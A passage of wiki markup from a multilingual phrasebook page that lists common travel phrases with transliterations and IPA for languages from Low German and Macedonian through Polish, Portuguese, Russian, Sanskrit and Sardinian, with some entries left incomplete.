| Good-bye! || ''Adschüüß!'' || aTCHYUHS || {{IPA|/aˈʧyːs/}} || From French ''Adieu!''
|-
| || ''Tschüüß!'' || TCHYUHS || {{IPA|/ˈʧyːs/}} || Introduced into German as ''Tschüß!''
|-
| Please || ''Wees so good'' || VEHS zo goat || {{IPA|/ˈveːs zo ˌgeʊt/}} || Literally: Be so good
|-
| Thank you! || ''Velen Dank!'' || fehln DUHNK || {{IPA|/feːlnˈdaˑŋk/}} || Literally: Much thank
|-
| || ''(Wees) bedankt!'' || (vehs) buhDUHNKT || {{IPA|/ˈ(veːs) beˈdaˑŋkt/}} || Literally: (Be) thanked
|-
| You are welcome || ''Nich daarför'' || nikh DOAHfur || {{IPA|/nɪç ˈdɔʌfɶʌ/}} || Literally: Not for that
|-
| that one || ''dat daar'' || DUHT doah || {{IPA|/ˈdat dɔʌ/}} ||
|-
| How much? || ''Wo veel?'' || voe FEHL || {{IPA|/veʊ ˈfeːl/}} ||
|-
| yes || ''ja'', ''jo'' || YAW, JAW, YOH ||{{IPA|/jɒː/, /ʥɒː/, /joː/}} || 
|-
| no || ''nee'' || NEH || {{IPA|/neː/}} ||
|-
| Sorry! || ''Nix för ungood'' || nix fur OONgoat || {{IPA|/nɪks fɶʌ ˈʊˑŋgeʊt/}} || Literally: Nothing for un-good (No offence)
|-
| || ''Deit mi leed'' || dite mee LAYT || {{IPA|/daˑɪt mi ˈlɛˑɪt/}} || Literally: Causes me regret
|-
| I don't understand || ''Ik verstah nich'' || ick fuhSTAW nikh || {{IPA|/ɪk fɝˈstɒː nɪç/}} ||
|-
| Where's the bathroom? || ''Woneem is hier de Tante Meyer?'' || voeNEHM is heer de tuhntuh MY-uh || {{IPA|/veʊˈneːm ɪs hiʌ de ˌtaˑnte ˈmaˑɪɝ/}} || Literally: Where is the Auntie Myer here?
|-
| generic toast || ''Proost!'' || PROHST || {{IPA|/proːst/}} || 
|-
| || &quot;Nich lang snacken! Kopp in'n Nacken!'' || nikh lang(k) SNUCKng, COP in nuckng || {{IPA|/nɪç laˑŋ(k) ˈsnakŋ̍ kɔp ɪˈnakŋ/}} || Literally: No long talking! Head back!
|-
| Do you speak English? || ''Snackst ingelsch?'' || snucks(t) INGelsh || {{IPA|/snaks(t) ˈɪˑŋl̩̩̩ʃ/}}
|}

== [[Macedonian language|Macedonian]] ([[Slavic languages|Slavic]]) ==
{| border=0 cellpadding=2 cellspacing=0
|- bgcolor=#eeeeee
! align=left | Translation
! align=left | Phrase
! align=left | Pronunciation
|- valign=top
|-
|Macedonian || ''македонски'' || ''makedonski''
|-
|hello || ''здраво'' || ''zdravo''
|-
|how are you? || ''како си?'' || ''kako si?''
|-
|good day || ''добар ден'' || ''dobar den''
|-
|good morning || ''добро утро'' || ''dobro utro''
|-
|goodbye || ''пријатно'' || ''prijatno''
|-
|please || ''молам'' || ''molam''
|-
|thank you || ''благодарам'' || ''blagodaram''
|-
|sorry || ''извини'' || ''izvini''
|-
|that one || ''тоа'' || ''toa''
|-
|how much? || ''колку?'' || ''kolku?''
|-
|yes || ''да'' || ''da''
|-
|no || ''не'' || ''ne''
|-
|I don’t understand || ''не разбирам'' || ''ne razbiram''
|-
|Where is the toilet? || ''каде е тоалетот?'' || ''kade e toaletot?''
|-
|generic toast || ''на здравје!'' || ''na zdravje!''
|-
|Do you speak English? || ''Зборувате ли англиски?'' || ''Zboruvate li angliski?''
|-
|English || ''англиски'' || ''angliski''
|}

== [[Maltese language|Maltese]] ([[Semitic languages|Semitic]]) ==

*Maltese language: ''Il-lingwa maltija'' /il lingwa ma:lti:ja/
*hello: ''merħba'' /merX\ba/
*good day: ''bonġu'' /bondZu:/
*bye: ''ċaw'' /tSaw/, ''saħħa'' /saX\X\a/
*please: ''jekk jogħġbok'' /jekk jo:dZbok/
*thank you: ''grazzi'' /grattsi/
*that one: ''dak'' /da:k/
*how much?: ''kemm?'' /kemm/
*yes: ''iva'' /i:va/
*no: ''le'' /le/
*sorry: ''jiddispjaċini'' /jiddispjatSi:ni/
*I don't understand: ''ma nifhimx'' /ma: nifimS/
*where is the toilet?: ''fejn it-tojlit?'' /fejn it tojlit/
*generic toast: ''saħħa!'' /saX\X\a/
*do you speak English?: ''titkellem bl-ingliż?'' /titkellem bliNli:s/
*Malta is a beautiful island: ''Malta hija gżira sabiħa'' /ma:lta i:ja gzi:ra sabi:X\a/

== [[Malay language|Malay]] ([[Malayo-Polynesian languages|Malayo-Polynesian]]) ==
*Malay language: '''bahasa Melayu''' /ba-ha-sa me-la-yu/
*hello:
**'''selamat pagi''' /sə-la-mat pa-gi/ (morning) 
**'''selamat tengah hari''' /... təŋah ha-ri/ (around midday and in the early afternoon)
**'''selamat petang''' /... pə-taŋ/ (late afternoon)
**'''selamat malam''' /... ma-lam/ (after dark)
*good-bye:
**'''selamat tinggal''' /... tiŋ-gal/ (said by person leaving) (lit., safe living [''tinggal'' has connotations of residence, stay])
**'''selamat jalan''' /... ʤa-lan/ (said by person staying) (lit., safe travelling)
*please: '''tolong''' /tɔ-lɔŋ/
*thank you: '''terima kasih''' /tə-ri-ma ka-sih/
*you're welcome: '''sama sama''' /sa-ma sa-ma/
*that one: '''itu''' /i-tʊ/
*how much?: '''berapa''' /bə-ra-pa/
*English language: '''bahasa Inggeris''' /ba-ha-sa iŋ-gəris/
*yes: '''ya''' /ja/
*no: '''tidak''' /ti-dak/
*excuse me, sorry: '''maaf''' /ma-af/
*I don't understand: '''saya tidak faham''' /sa-ja ti-dak fa-ham/
*Can you speak English?: '''bolehkah anda berbahasa Inggeris?''' /bo-leh-kah ʧakap .../
*Where is the restroom?: '''di mana tandas?''' /di mana tan-das/
*It's not yet the time to be with some one permanently: belum ada jodoh

== [[Maori language|Maori]] ([[Malayo-Polynesian languages|Malayo-Polynesian]]) ==

*Maori: ''Māori'' /{{IPA|maːoɾi}}/
*hello: ''tēnā koe'' /{{IPA|teːnaː koe}}/ (to one person), ''tēnā kōrua'' /{{IPA|teːnaː koːɾua}}/ (to two people), ''tēnā koutou'' /{{IPA|teːnaː koutou}}/
*good-bye (to those who are staying): ''e noho rā'' /{{IPA|e noho ɾaː}}/
*good-bye (to those who are leaving): ''haere rā'' /{{IPA|haeɾe ɾaː}}/
*please: ''koa'' /{{IPA|koa}}/
*thank you (or &quot;good day&quot; - literally &quot;be well&quot;): ''kia ora'' /{{IPA|kia oɾa}}/
*how much?: ''pēhea?'' /{{IPA|peːhea}}/
*yes: ''ae'' /{{IPA|ae}}/
*no: ''kaore'' /{{IPA|kaoɾe}}/

== [[Malayalam language|Malayalam]] ([[Dravidian languages]]) ==

*Malayalam: ''malayaalam'' 
*hello: ''namaskaram'' 
*good-bye: ''Poy varaam'or 'Poy varatte&quot;
*please: ''dayavaayi''
*thank you: ''nanni''
*how much?: ''ethra?''
*yes: ''athe'' 
*no: ''illa'' or ''alla''
*English: ''aangaleyam'' 
*Whats your name:''pere enthanu''
*harassment:''peedanam''
*Do you like me: ''ninakku enne ishtamaano''
*what news?: ''enthokkeyaanu vishesham''
*news: ''vaartha\vishesham''
*first: ''aadyam\onnamathu''
*water: ''vellam''
*alphabet: ''aksharam''
*food: ''bhakshanam\aahaaram''
*rain: ''mazha''
*hotel: ''sathram\hotel''
*way: ''vazhi''

== [[Mandinka language|Mandinka]](Mande) (Congo-Niger) ==

*How are you: ''I be nyaadi''
*See you later: ''N be nyoo jee la''
*please: ''Dukare''
*thank you: ''Abaraka''
*that one: ''Woo''
*this one: ''Nying''
*how much?: ''Jelum?''
*Do you speak English: ''I ye English kang moy le''
*yes: ''Haa/Haaday''
*no: ''Haani''

== [[Marathi language|Marathi]] ([[Indo-Iranian]]) ==
{| border=0 cellpadding=2 cellspacing=0
|- bgcolor=#eeeeee
! align=left | Translation
! align=left | Phrase
! align=left | Pronunciation
|- valign=top
|-
|Marathi || मराठी || ''maraaThee''
|-
|hello || नमस्कार ||''namaskar''
|-
|good-bye || अच्छा || ''achhaa''
|-
|please || कृपया || ''krupah yaa''
|-
|thank you || आभार || ''aa bhaar''
|-
|how much? ||किती? || ''kitee?''
|-
|yes || हो ||  ''ho''
|-
|no || नाही || ''naa hee' 
|-
|English || इंग्रजी || ''ingrajee'' 
|}

== [[Nahuatl language|Nahuatl]] ([[Uto-Aztecan languages|Uto-Aztecan]]) ==

*Nahuatl: ''Nawatlahtoli'' 
*hello: ''niltse'' 
*good-bye: ''nimitsittas''
*thank you: ''tlasohkamati''
*that one: ''inon''
*yes: ''kema'' (ordinary), ''kemakatsin'' (reverential) 
*no: ''ahmo'' (ordinary), ''ahmotsin'' (reverential)
*English: ''Inglestlahtoli''
*Do you speak [English]?: ''Nitetlahtoa [Inglestlahtoli]?''
*What is your name?: ''Tlen mo tokatsin?''

== [[Nigerian pidgin]] (English-based [[pidgin]]) ==

*Nigerian pidgin: &amp;nbsp;
*hello: ''How now''
*good-bye: ''A go dey see yu now''
*please: ''A beg''
*thank you: ''Thank yu''
*that one: &amp;nbsp;
*how much?: &amp;nbsp;
*English: ''Oyinbo''
*yes: ''Yes''
*no: ''No''
*generic toast: &amp;nbsp;

== [[Norwegian language|Norwegian]] ([[Germanic languages|Germanic]]) - [[Bokmål]] ==

*Norwegian: ''norsk'' /{{IPA|'nɔʃk}}/ (norsk)
*Hello: ''hallo'' /{{IPA|hɑ'luː}}/
*Hi: ''hei'' /{{IPA|hæi}}/
*Good-bye: ''farvel'' (formal and slightly old-fashioned)/{{IPA|fɑɾ'wel}}/ (farewell); ''Ha det bra'' (a bit less formal); ''ha det'' (informal); ''hei'' /{{IPA|hæi}}/ (on the phone, never used like this by children or adolescents)
*Please: ''vær så snill'' /{{IPA|'wæːr so snil}}/
*Thank you: ''takk'' /{{IPA|tɑk}}/ (takh)
*That one: ''den'' /{{IPA|den}}/ (den) or ''det'' /{{IPA|deː}}/ (deh)
*How much?: ''hvor mye?'' /{{IPA|wuɾ myːə}}/
*English: ''engelsk'' /{{IPA|'eŋelsk}}/ or /{{IPA|'əŋəlsk}}/
*Yes: ''ja'' /{{IPA|jɑː}}/ (yah)
*No: ''nei'' /{{IPA|næj}}/ (nay)
*Can I take your picture?: ''kan jeg ta bilde av deg?''
*Where is the bathroom?: ''hvor er badet/toalettet?'' (rooms with toilets and rooms with showers/bath tubs are usually separated in Norway)
*Where do you come from?: ''hvor kommer du fra?''
*Do you speak English?: ''snakker du engelsk?''
*Generic toast: ''skål'' /{{IPA|skoːl}}/
*Where can I find a restaurant?: ''hvor kan jeg finne en restaurant?''
*Where is the nearest hospital?: ''hvor er det nærmeste sykehuset?''
*Banana: ''banan''

== [[Norwegian language|Norwegian]] ([[Germanic languages|Germanic]]) - [[Nynorsk]] ==

* Norwegian: ''norsk'' /{{IPA|'nɔʃk}}/ (norsk)
* Hello: ''hallo'' /{{IPA|hɑ'luː}}/
* Hi: ''hei'' /{{IPA|hæi}}/
* Good-bye: ''Ha det bra'' (formal); ''ha det'' (informal)
* Please: ''ver så snill'' /{{IPA|'wæːr so snil}}/
* Thank you: ''takk'' /{{IPA|tɑk}}/ (takh)
* That one: ''han/ho/den'' /den/ (den) or ''det'' /{{IPA|deː}}/ (deh)
* How much?: ''kor mykje?''
* English: ''engelsk'' /{{IPA|'eŋelsk}}/ or /{{IPA|'əŋəlsk}}/
* Yes: ''jau'' /{{IPA|jɑː}}/ (yah) or ''ja''
* No: ''nei'' /{{IPA|næj}}/ (nay)
* Can I take your picture?: ''kan eg ta bilete av deg?''
* Where is the bathroom?: ''kor/kvar er toalettet?''
* Where do you come from?: ''kor/kvar kjem du frå?''
* Do you speak English?: ''talar du engelsk?''
* Generic toast: ''skål'' /{{IPA|skoːl}}/
* Where can I find a restaurant?: ''kor/kvar kan eg finne ein restaurant?''
* Where is the nearest hospital?: ''kor/kvar er det nærmaste sjukehuset?''
*cheese''ost''

== [[O'odham language|O'odham]] ([[Uto-Aztecan languages|Uto-Aztecan]]) ==

*O'odham: ''O'odham ñiok'' {{IPA|/ɔʔɔtˀm ˈɲiɔk/}}
*English: ''Milga:n ñiok'' {{IPA|/miɮˈgaːn ˈɲiɔk/}}
*hello: ''Ṣap kaic'' {{IPA|/ʃap ˈkaiʧ/}} (lit. what did you say?)
*good-bye: ''Do va ep em ñei'' {{IPA|/dɔ va ˈəp əm ɲəi/}}
*that one: ''hegai'' {{IPA|/həgaɪ/}}
*yes: ''ha'u'' {{IPA|/haʔʊ/}}
*no: ''pi'a'' {{IPA|/piʔa/}}

== [[Okinawan language|Okinawan]] ([[Japonic languages|Japonic]]) ==

{| border=0 cellpadding=3 cellspacing=0
|- bgcolor=#eeeeee
! align=left | Translation
! align=left | Phrase
! align=left | IPA
|- valign=top
|-
|English
|''inciriguci''
|?
|-
|hello
|''haisai'' (women can also say ''haitai'')
|?
|-
|good-bye 
|''cu: wuganabira'' 
|?
|-
|please
|''unige: sabira'' (things), ''-kwimi so:re:'' (actions)
|?
|-
|thank you
|''iqpe: nihwe: de:biru'' 
|?
|-
|I'm sorry
|''gubiri: sabira'' (being impolite), ''waqsaibi:ndo:'' (accidents, mistakes)
|?
|-
|how much?
|''caqsa nato:ibi:ga''
|?
|-
|what's this?
|''kure: nu:ndi bi:ga''
|?
|-
|yes
|''wu:'' 
|?
|-
|no
|''wu: wu:''
|?
|-
|I don't understand
|''wakayabiran'' 
|?
|-
|Where's the bathroom?
|''hwu:ruya ma: yaibi:ga''
|?
|-
|generic toast
|''kari:''
|?
|-
|Do you speak English?
|''inciriguciya naibi:miga'' 
|?
|}

== [[Pennsylvania German language|Pennsylvania German]], Pennsylvania Deutsch ([[Germanic languages|Germanic]])==

''(dialects may vary)''

*Pennsylvania Deutsch: ''Pennsilfaani(sch)-Deitsch''
*hello: ''hiya''
*good-bye: ''bis schpeeder'' (bis shpayder) Until later
*please: ''please''
*thank you: ''danki schee'' (dan-key shay)
*that one: ''da do'' (da daw)
*how much: ''Wie viel'' (wee feel)
*English: ''Englisch''
*yes: ''Ya''
*no: ''nee'' (nay)
*Can I take your picture?: ''Kann ich dei Pikder nemme?'' (can ich (Germanic 'ch' sounds like the H in huge) dye pic-der nay-me)
*Where is the washroom?: ''Wu is die Baadschtupp?''
*Sorry I don't understand you.: ''Sorry, Ich verschteh dich net.''

== [[Pidgin]] (Germanic) Neo-Melanesian English creole ==

*Pidgin: ''Tok Pisin''
*hello: ''gut de''
*good-bye: ''gut bai''
*please: ''plis''
*thank you: ''tenkyu''
*that one: ''em''
*how much?: ''haumas''
*English: ''Inglis''
*yes: ''yes''
*no: ''nogat''
*nevermind, it doesn't matter: ''maski''
*I don't know: ''mi no save'' (save is two syllables sa-ve)

== [[Polish language|Polish]] ([[Slavic languages|Slavic]]) ==

{| border=0 cellpadding=3 cellspacing=0 style=&quot;font-family:'Lucida Sans Unicode';&quot;
|- bgcolor=#eeeeee
! align=left | Translation
! align=left | Phrase
! align=left | IPA
! align=left | Pronunciation
! align=left | Remarks
|- valign=top
| Polish language
| język polski, &lt;br&gt; polszczyzna
| ['jɛ̃z&lt;strike&gt;i&lt;/strike&gt;k 'pɔlski] &lt;br&gt; [pɔl'ʃʧ&lt;strike&gt;i&lt;/strike&gt;zna]
| [[Media:jezyk_polski.ogg|listen]] &lt;br&gt; [[Media:Polszczyzna.ogg|listen]]
|
|- valign=top bgcolor=#f8f8f8
| hello
| cześć
| ['ʧɛɕtɕ]
| [[Media:Czesc.ogg|listen]]
| informal, used both for greeting and good-bye, lit. &quot;honour&quot;
|- valign=top
| good morning, good afternoon
| dzień dobry
| ['dʑɛɲ ,dɔbr&lt;strike&gt;i&lt;/strike&gt;]
| [[Media:Dzien_dobry.ogg|listen]]
| lit. &quot;good day&quot;
|- valign=top bgcolor=#f8f8f8
| good-bye
| do widzenia
| [dɔvi'ʣɛɲa]
| [[Media:Do_widzenia.ogg|listen]]
| lit. &quot;until seeing&quot;
|- valign=top
| good night
| dobranoc
| [dɔ'branɔʦ]
| [[Media:Dobranoc.ogg|listen]]
| 
|- valign=top bgcolor=#f8f8f8
| please
| proszę
| ['prɔʃɛ̃]
| [[Media:prosze.ogg|listen]]
| 
|- valign=top
| you're welcome 
| proszę bardzo 
| [ˌprɔʃɛ̃'barʣɔ] 
| [[Media:prosze_bardzo.ogg|listen]]
| 
|- valign=top bgcolor=#f8f8f8
| don't mention it
| nie ma za co
| [ˌɲɛma'zaʦɔ]
| [[Media:niezamaco.ogg|listen]]
| lit. &quot;(there's) nothing for it&quot;
|- valign=top
| thank you
| dziękuję
| [dʑɛ̃'kujɛ̃]
| [[Media:Dziekuje.ogg|listen]]
|
|- valign=top bgcolor=#f8f8f8
| this one
| ''[[masculine|m]]:'' ten &lt;br&gt; ''[[feminine|f]]:'' ta &lt;br&gt; ''[[neuter|n]]:'' to
| [tɛn] &lt;br&gt; [ta] &lt;br&gt; [tɔ]
| [[Media:Ten_ta_to.ogg|listen]]
|
|- valign=top
| that one
| ''[[masculine|m]]:'' tamten &lt;br&gt; ''[[feminine|f]]:'' tamta &lt;br&gt; ''[[neuter|n]]:'' tamto
| ['tamtɛn] &lt;br&gt; ['tamta] &lt;br&gt; ['tamtɔ]
| [[Media:Tamten_tamta_tamto.ogg|listen]]
|
|- valign=top bgcolor=#f8f8f8
| how much?
| ile?
| ['ilɛ]
| [[Media:ile.ogg|listen]]
|
|- valign=top
| English language
| język angielski
| ['jɛ̃z&lt;strike&gt;i&lt;/strike&gt;k aŋ'gɛ´lski]
| 
|
|- valign=top bgcolor=#f8f8f8
| yes
| tak
| [tak]
| [[Media:tak.ogg|listen]]
|
|- valign=top
| no
| nie
| [ɲɛ]
| [[Media:nie.ogg|listen]]
|
|- valign=top bgcolor=#f8f8f8
| I don't understand
| Nie rozumiem
| [ɲɛrɔ'zumiɛm]
| [[Media:nie_rozumiem.ogg|listen]]
| 
|- valign=top
| where's the bathroom?
| Gdzie jest łazienka?
| [ˌgdʑɛjɛst wa'ʑeŋka]
| [[Media:Gdzie_lazienka.ogg|listen]]
| 
|- valign=top bgcolor=#f8f8f8
| generic toast:
| Na zdrowie!
| [na zdrɔv'ɛ]
| [[Media:Na_zdrowie.ogg|listen]]
| lit. &quot;to health&quot;
|- 
| do you speak English?
| Czy mówi Pan po angielsku? &lt;br&gt; Czy mówi Pani po angielsku? &lt;br&gt; Czy mówisz po angielsku?
| [ʧ&lt;strike&gt;i&lt;/strike&gt;'muvipan poaŋ'gɛ´lsku] &lt;br&gt; [ʧ&lt;strike&gt;i&lt;/strike&gt;'muvipani poaŋ'gɛ´lsku] &lt;br&gt; [ʧ&lt;strike&gt;i&lt;/strike&gt;'muviʃ poaŋ'gɛ´lsku]
| [[Media:Czy mowi pan.ogg|listen]] &lt;br&gt; [[Media:Czy mowi pani.ogg|listen]] &lt;br&gt; [[Media:Czy_mowi_sz.ogg|listen]]
| ''Pan'' - sir, mr.; ''Pani'' - mrs.; the third form is both impersonal and informal
|- valign=top bgcolor=#f8f8f8
| what is it?
| Co to jest?
| [ʦɔtɔ'jɛst]
| [[Media:Co_to_jest.ogg|listen]]
|
|- valign=top 
| Welcome to Poland!
| Witamy w Polsce
| [vi'tam&lt;strike&gt;i&lt;/strike&gt; 'fpɔlsʦɛ]
| [[Media:witamy.ogg|listen]]
|
|- valign=top bgcolor=#f8f8f8
| I love you
| Kocham cię
| ['kɔxamtɕɛ̃]
| 
|
|}

== [[Portuguese language|Portuguese]] ([[Romance languages|Romance]]) ==

{| border=&quot;0&quot; cellpadding=&quot;2&quot; cellspacing=&quot;1&quot; style=&quot;font-family: Lucida Sans Unicode&quot;
|-
!bgcolor=#EEEEEE|translation
!bgcolor=#EEEEEE|phrase
!bgcolor=#EEEEEE|IPA
!bgcolor=#EEEEEE|Pronunciation
|-
|Portuguese:
|''Português''
|[[Portugal|PT.]] /purtu'geʃ/ [[Brazil|BR.]] /portu'gejʃ/
|por-too-GAYS
|-
|Hello:
|''Olá / Oi ( more usual )'' 
|/ɔ'la/ 
|oh-LAA
|-
|Is everything all right?:
|''Está tudo bem?''
|-
|I Love You:
|''Eu te amo.''
|-
|Welcome to Brazil:
|''Bem vindo[male]/vinda[female] ao Brasil.''
|-
|Can I take your picture ?
|''Posso tirar sua foto ?''
|-
|What's this/that ?
|''O que é isto/aquilo?''
|-
|Where do you come from ?
|''De onde você é?''
|-
|Where can I find a restaurant?
|''Onde eu posso encontrar um restaurante?''
|-
|Hotel, hospital, police station.
|''Hotel, hospital, delegacia''
|-
|I am gonna miss you !
|''Vou sentir saudades de você/vocês[plural] !''
|-
|Good-bye: 
|''Tchau'' 
|[[Portugal|PT.]] /NA/ [[Brazil|BR.]] /NA/
|CHAO
|-
|Please:
|''Por favor'' 
|[[Portugal|PT.]] /puɾ fɐ'voɾ/ [[Brazil|BR.]] /poɾ fa'vo:/
|POH FAH-vor
|-
|Excuse me:
|''Com licença'' 
|[[Portugal|PT.]] /NA/ [[Brazil|BR.]] /NA/
|CON lee-CEN-sah
|-
|Thank you: 
| ''Obrigado'' (man speech); 
|[[Portugal|PT.]] /obɾi'gaðu/ [[Brazil|BR.]] /obɾi'gado/ 
|oh-bree-GAH-doo
|-
|
|''Obrigada'' (woman speech) 
|[[Portugal|PT.]] /obɾi'gaðɐ/ [[Brazil|BR.]] /obɾi'gada/ 
|oh-bree-GAH-dah
|-
|You're Welcome: 
| ''De nada'' 
|/NA/ 
|JEE NA-dah
|-
|Sorry:
|''Desculpe-me'' (formal)
|/NA/
|dis-COO-pee ME
|-
|
|''Desculpa'' (informal)  
|/NA/ 
|dis-COO-pa;
|-
|That one:
|''Aquele'' (refering to a male person or thing)
|[[Portugal|PT.]] /ɐ'kelɨ/ [[Brazil|BR.]] /a'keli/
|ah-KEL-ee
|-
|
|''Aquela'' (refering to a female person or thing)
|[[Portugal|PT.]] /ɐ'kɛlɐ/ [[Brazil|BR.]] /a'kɛla/
|ah-KEL-ah
|-
|How much does it costs?:
|''Quanto custa?'' 
|/NA/ 
|KWAN-too CUHS-tah
|-
|Yes: 
|''Sim'' 
|/sĩ/
|SEE
|-
|No: 
|''Não''
|/nãw̃/ 
|NA-o
|-
|I didn't understand:
|''Eu não entendi'' 
|/NA/ 
|EO NA-o ehn-TEN-ji
|-
|Where's the bathroom?:
|Brazil: ''Onde fica o banheiro?'' 
|/õdi fika u baɲɛjɾu/ 
|OHN-jee FEE-ca OO ban-YAY-ro
|-
|
|Portugal, others: ''Onde fica a casa de banho'' 
|/õdɨ fikɐ a caza dɨ baɲu/ 
|OHN-jee FEE-ca AH KAH-zah jee BAN-yoo
|-
|Generic toast: 
|''Saúde''
|[[Portugal|PT.]] /sɐuðɨ/ [[Brasil|BR.]] /saudZi/
|sa-OO-ji
|-
|Do you speak English?: 
|''Você fala Inglês?'' 
|/NA/
|vo-CEH FAH-lah eeng-LES
|}

== [[Rivaansa]]  ==
{| border=0 cellpadding=3 cellspacing=0
|- bgcolor=#eeeeee
! align=left | Translation
! align=left | Phrase
! align=left | Pronunciation

|- valign=top
|-
| Rivaansa || ''rivaansa'' || (ree-VAHN-sah)
|-
| hello || ''asava'' || (ah-SAH-vah)
|-
| good morning || ''tamatus'' || (tah-MAH-tooss)
|-
| good afternoon || ''talentus'' || (tah-LENT-tooss)
|-
| good evening || ''tehâ'' || (te-hee-YAH)
|-
| good night || ''tanosta'' || (tah-NOS-tah)
|-
| goodbye || ''laarmelas, laamas'' || (LAHR-me-las,LAH-mas)
|-
| thank you || ''medalat'' || (me-DAH-laht)
|-
| you're welcome || ''kaspe medala'' || (kAHS-pe me-DAH-la)
|-
| here you are || ''posenakanta, posen'' || (poh-SE-nah-kahn-tah, poh-SEN)
|-
| please || ''nimaahytla'' || (ni-MAH-huht-la)
|-
| excuse-me || ''marvelantos'' || (mar-ve-LAHN-tos)
|-
| do you speak English? || ''ây Anla kai ?'' || (YAH-uh AHN-la KAH-i)
|-
| I don't understand || ''re panamasy'' || (re pah-nah-MAH-suh)
|-
| that one || ''naka-ga'' || (NAH-kah-gah)
|-
| how much? || ''arâ kyra?'' || (ah-RYAH KUH-ra)
|-
| where's the bathroom? || ''dyr a hyltalo ?'' || (duhr ah huhl-TAHL-o)
|-
| generic toast || ''ruiha!'' || (ROO-i-hah)
|}

== [[Romanian language|Romanian]] ([[Romance languages|Romance]]) ==

{| cellpadding=&quot;2&quot; class=&quot;wikitable&quot;
! English || Romanian || [[IPA]] pronunciation
|-
| Romanian (language) || (limba) română || {{IPA|/('lim.ba) ro'mɨ.nə/}}
|-
| Hello! || Bună ziua! || {{IPA|/bu.nə'zi.ǔa/}}
|-
| Good bye! || La revedere! || {{IPA|/la.re.ve'de.re/}}
|-
| Please. || Vă rog || {{IPA|/və'rog/}}
|-
| Thank you. || Mulţumesc || {{IPA|/mul.ʦu'mesk/}}
|-
| How much? || Cât? || {{IPA|/kɨt↘/}}
|-
| English || (limba) engleză || {{IPA|/('lim.ba) eŋ'gle.zə/}}
|-
| Do you speak English? || Vorbiţi engleza || {{IPA|/vor'biʦʲ.eŋ'gle.za↗/}}
|-
| Yes. || Da. || {{IPA|/da/}}
|-
| No. || Nu. || {{IPA|/nu/}}
|-
| I don't understand. || Nu înţeleg. || {{IPA|/'nu.ɨn.ʦe.leg↘/}}
|-
| Cheers! || Noroc! || {{IPA|/no'rok/}}
|-
| Where is the bathroom? || Unde e toaleta? || {{IPA|/'un.de.ǐe.to.a.le.ta↘/}}
|}

== [[Russian language|Russian]] ([[Slavic languages|Slavic]]) ==

{| border=0 cellpadding=3 cellspacing=0
|- bgcolor=#eeeeee
! Translation !! Phrase !! Transcription !! Literal translation
|-
| Russian
| русский
| /{{IPA|ˈruskʲəj}}/ ([[Media:CPIDL Russian - russkij.ogg|listen]])
|-
| hello
| здравствуйте
| /{{IPA|ˈzdrastvujtʲə}}/ ([[Media:CPIDL Russian - Zdravstvujte.ogg|listen]])
| be healthy ([[imperative]] 2nd person singular/plural polite)
|-
| good-bye
| до свидания
| /{{IPA|də sviˈdanjə}}/ ([[Media:CPIDL Russian - do svidania.ogg|listen]])
| until seeing
|-
| please
| пожалуйста
| /{{IPA|paˈʒalustə}}/ ([[Media:CPIDL Russian - pozhalujsta.ogg|listen]])
|-
| thank you
| спасибо
| /{{IPA|spaˈsibə}}/ ([[Media:CPIDL Russian - Spasibo.ogg|listen]])
|-
| that one
| тот
| /{{IPA|tot}}/ ([[Media:CPIDL Russian - tot.ogg|listen]])
|-
| how much?
| сколько?
| /{{IPA|ˈskolʲkə}}/ ([[Media:CPIDL Russian - skol'ko.ogg|listen]])
|-
| English
| английский
| /{{IPA|aŋˈglijskʲəj}}/ ([[Media:CPIDL Russian - anglijskij.ogg|listen]])
|-
| yes
| да
| /{{IPA|da}}/ ([[Media:CPIDL Russian - da.ogg|listen]])
|-
| no
| нет
| /{{IPA|nʲet}}/ ([[Media:CPIDL Russian - net.ogg|listen]])
| &quot;there isn't&quot; (short for не есть)
|-
| sorry
| извините
| /{{IPA|izviˈnitʲə}}/
|-
| I don't understand
| я не понимаю
| /{{IPA|ja nʲə pəniˈmaju}}/
|-
| generic toast
| за здоровье
| /{{IPA|zə zdaˈrovjə}}/ ([[Media:CPIDL Russian - za zdorovje.ogg|listen]])
| for health
|-
| Do you speak English?
| Вы говорите по-английски?
| /{{IPA|vy gəvaˈritʲə pa.aŋˈglijskʲə}}/ ([[Media:CPIDL Russian - vi govorite.ogg|listen]])
|-
| where's the bathroom?
| где здесь туалет?
| /{{IPA|gdʲe zdʲesʲ tuaˈlʲet}}/
| where here (is) (the) toilet?
|-
| I love you
| я тебя люблю 
| /{{IPA|ja tʲəˈbʲa lʲuˈblʲu}}/
|}

== [[Sanskrit language|Sanskrit ]] ([[Indo-Aryan languages|Indo-Iranian]]) ==

{| border=0 cellpadding=3 cellspacing=0
|- bgcolor=#eeeeee
! align=left | Translation
! align=left | Phrase
! align=left | transliteration
! align=left | Literal meaning
|-
|Sanskrit||संस्कृतम्||{{IPA|saṁskṛtam}}|| ||
|-
|Hello||नमो नमः, नमस्कारः ||{{IPA|namo namaḥ, namaskāraḥ}}||Salutations||
|-
|Good-bye||पुनर्दर्शनाय||{{IPA|punardarśanāya}}||To meet again||
|-
|Please||कृपया||{{IPA|kṛpayā}}||With mercy||
|-
|Thank you||अनुगृहितोऽस्मि  (for men)&lt;br&gt;अनुगृहितास्मि (for women)||{{IPA|anugṛhito'smi (for men)&lt;br&gt;anugṛhitāsmi (for women)}}||I am blessed||
|-
|That one||अयमेव||{{IPA|ayameva}}|| ||
|-
|How much?||कियत् || {{IPA|kiyat}} || ||
|-
|English||आंग्लभाषा ||{{IPA|āṁglabhāṣā}}|| ||
|-
|Yes||आम् , एवम् ||{{IPA|ām , evam}} || ||
|-
|No|| न , नास्ति , नैवम् || {{IPA|na, nāsti, naivam}}||No, Does not exist, Not that||
|-
|Generic toast|| ||{{IPA|shubhamastu}} ||Let good happen||
|}

== [[Sardinian language|Sardinian]] ([[Romance languages|Romance]]) ==

*Sardinian: ''sardu'' /'sarDu/ &quot;sar-doo&quot;
*hello: ''bona die'' &quot;bon-a dee-a&quot;
*good-bye: ''adiosu'' /a'Djosu/ &quot;ah-dhyohsoo&quot;
*bye-bye: ''a nois bider'' /anois'biDer/ &quot;a-nohss-BI-dere&quot;
*please: ''pro pragher'' /'pro pra'ger/ &quot;pro praw-gare&quot;
*thank you: ''gràtzias'' /'gratsias/ &quot;GRAHSS-yahss&quot;
*that one: ''cussu'' /'kusu/ &quot;KU-hssoo&quot;
*how much?: ''cantu'' /'kantu/ &quot;KAHN-too&quot;
*English: ''Ingresu'' /in'gresu/ &quot;in-GRAY-soo&quot;
*yes: ''eia'' /'eja/ 
*no: ''no'' /'no/ 
*sorry: ''mi dispraghidu''
*I don't understand: Non cumprenno
